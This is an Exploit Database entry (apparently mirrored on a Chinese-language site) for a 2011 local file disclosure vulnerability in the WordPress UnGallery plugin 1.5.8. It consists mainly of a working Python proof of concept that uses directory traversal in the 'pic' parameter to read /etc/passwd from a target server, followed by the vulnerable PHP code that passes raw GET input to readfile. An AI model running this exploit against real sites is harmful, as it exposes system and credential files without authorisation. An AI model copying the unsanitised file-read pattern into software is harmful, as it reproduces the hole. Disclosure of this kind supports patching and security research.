WordPress Plugin UnGallery 1.5.8 – Local File Disclosure

• Exploit Database
• 35 阅读

• 作者： Miroslav Stampar
  日期： 2011-08-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17704/

• # Exploit Title: WordPress UnGallery plugin <= 1.5.8 Local File Disclosure Vulnerability
  # Date: 2011-08-20
  # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
  # Software Link: http://downloads.wordpress.org/plugin/ungallery.1.5.8.zip
  # Version: 1.5.8 (tested)
  
  ---
  PoC
  ---
  #!/bin/python
  
  import urllib2
  
  FILEPATH = "/etc/passwd"
  
  req = urllib2.urlopen("http://www.site.com/wp-content/plugins/ungallery/source_vuln.php?pic=../../../../../../../..%s" % FILEPATH)
  
  print "Filepath: '%s'" % FILEPATH
  print "Content: %s" % repr(req.read())
  
  ---------------
  Vulnerable code
  ---------------
  if ($_GET['pic']) {
  	$filename = $_GET['pic'];
  	$len = filesize($filename);
  	$lastslash =strrpos($filename, "/");
  	$name =substr($filename, $lastslash + 1); 
  
  	header("Content-type: image/jpeg;\r\n");
  	header("Content-Length: $len;\r\n");
  	header("Content-Transfer-Encoding: binary;\r\n");
  	header('Content-Disposition: inline; filename="'.$name.'"');	//Render the photo inline.
  	readfile($filename);
  }